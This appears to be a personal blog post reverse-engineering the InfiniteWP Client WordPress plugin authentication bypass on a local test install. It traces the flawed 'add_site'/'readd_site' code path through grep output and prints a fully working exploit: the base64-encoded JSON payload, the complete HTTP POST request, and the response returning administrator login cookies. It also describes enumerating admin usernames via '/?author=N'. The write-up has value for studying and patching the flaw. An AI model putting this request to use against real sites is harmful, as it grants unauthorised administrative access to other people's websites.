I was browsing wpvulndb.com when I stumbled upon the InfiniteWP Client authentication bypass. Being curios, I wanted to reverse engineer the unpublished PoC. Here's my (short) journey.

The first step was to browse through the source code which is hosted on plugins.trac.wordpress.org to find the changes that were recently made. Sometimes we are even lucky and the developer put the keyword security into the commit message. We find the following few changes:

changes

Apparently the authentication bypass happens if $action == 'add_site' or $action == 'readd_site'. Let's find out why we are not supposed to set those two values.

At this point, I download the previous version of the plugin and start up my local Apache, MariaDB and Wordpress installation.

After installing the plugin and activating it, we look for the changes in the source code and find a function iwp_mmb_set_request. We grep for the function name and see that it is called in core.class.php:

gehaxelt@LagTop /v/w/w/w/p/iwp-client (master)> grep -Prin 'iwp_mmb_set_request' .
./core.class.php:230:           add_action('setup_theme', 'iwp_mmb_set_request');
./init.php:246:if (!function_exists ('iwp_mmb_set_request')) {
./init.php:247: function iwp_mmb_set_request(){

But is this class IWP_MMB_Core really instantiated? It is (!) as the next grep for the class name shows:

gehaxelt@LagTop /v/w/w/w/p/iwp-client (master)> grep -Prin 'IWP_MMB_Core' | tail -n 5 
init.php:3263:$iwp_mmb_core = new IWP_MMB_Core();

It happens right at the end of init.php which I assumed to be always called, so that the setup_theme action will trigger the iwp_mmb_set_request action due to add_action('setup_theme', 'iwp_mmb_set_request');.

Going through the iwp_mmb_set_request function again, we see that it sets admin login cookies using wp_set_auth_cookie for a given $params['username'].

admin_cookies

But how do we get control over the value in $params['username']? A few lines above we see $params = $iwp_mmb_core->request_params;. But what is $iwp_mmb_core->request_params?!

Searching for request_params leads us to a function named iwp_mmb_parse_request. This function is even called at the end of init.php: iwp_mmb_parse_request();

In the upper part, it seems to do some parsing/decoding of values, so we quickly skim over it and find our add_site / readd_site values again:

actions

We remember that we're not supposed to use those two anymore... It's because they have an early return, so that the security check $iwp_mmb_core->authenticate_message(...) is not executed, but we still can populate the $iwp_mmb_core->request_params!

At this point we know that the exploit requires a valid and existing username, because if (!$iwp_mmb_core->check_if_user_exists($params['username'])) ...error...

So how do we get there? We need to figure out how to provide the data in the correct format:

decoding
I've added a few var_dump or echo for debugging purposes

It looks more complicated than it actually is.

Here are the steps:

  • POST request with the body _IWP_JSON_PREFIX_$XXX where
  • $XXX is base64($data) with
  • $data being a JSON serialized array of
{
  "iwp_action": "add_site",
  "id": 1,
  "params": {
    "username": "$USER"
  }
}
  • and $USER being admin or whatever the admin's username is.

A fully working exploit/request would be:

POST / HTTP/1.1
Host: wordpress.local
User-Agent: curl/7.67.0
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 113

_IWP_JSON_PREFIX_ewoiaXdwX2FjdGlvbiI6ICJhZGRfc2l0ZSIsCiJpZCI6IDEsCiJwYXJhbXMiOiB7CiJ1c2VybmFtZSI6ICJhZG1pbiIKfQp9

which will return the following response containing all admin login cookies. Setting those cookies in the browser is enough to be automatically logged in in the administrative backend.

HTTP/1.1 200 OK
Date: Thu, 09 Jan 2020 00:07:45 GMT
Server: Apache/2.4.41 (Unix) OpenSSL/1.1.1d PHP/7.4.0
X-Powered-By: PHP/7.4.0
Set-Cookie: wordpress_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7C8KaHO1zejXGjxw6xoFe3ZoDmklE9tpSXbPXNUNSmlfN%7C5aa06db16a8651f59652d72fbcb34b689a4ac1fd0ccb9af805addfec54ee5194; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7C8KaHO1zejXGjxw6xoFe3ZoDmklE9tpSXbPXNUNSmlfN%7C5aa06db16a8651f59652d72fbcb34b689a4ac1fd0ccb9af805addfec54ee5194; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7C8KaHO1zejXGjxw6xoFe3ZoDmklE9tpSXbPXNUNSmlfN%7C2a7dd2ffbed61b4f70624506f57f41d9f928e736d3f6ca386e526dcba68a1850; path=/; HttpOnly
Set-Cookie: wordpress_sec_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7CiLPp0hKnuauwb4I9D1HNdTmrAKJcPb2tOMiwKrTyllm%7C2201360a106f353a8628ec93100eb3aaefd065194d2308aeb8b9e4681a2e7d2c; path=/wp-content/plugins; secure; HttpOnly
Set-Cookie: wordpress_sec_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7CiLPp0hKnuauwb4I9D1HNdTmrAKJcPb2tOMiwKrTyllm%7C2201360a106f353a8628ec93100eb3aaefd065194d2308aeb8b9e4681a2e7d2c; path=/wp-admin; secure; HttpOnly
Set-Cookie: wordpress_logged_in_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7CiLPp0hKnuauwb4I9D1HNdTmrAKJcPb2tOMiwKrTyllm%7Ca40a662c5ba8b18a1819787b10381e4098386b33c952037777df0ec9e7123abb; path=/; HttpOnly
Content-Length: 436
Connection: close
Content-Type: text/plain;charset=UTF-8

The hardest part of the exploit is to obtain valid admininistrator usernames. However, there are a few known methods to enumerate wordpress users. The easiest one is to append /?author=1 or 2,3,4,5,6... to the URL and see the resulting redirection URL (i.e. /author/admin/) or website's source code.

That was a fun little exercise and I enjoyed it :-)

-=-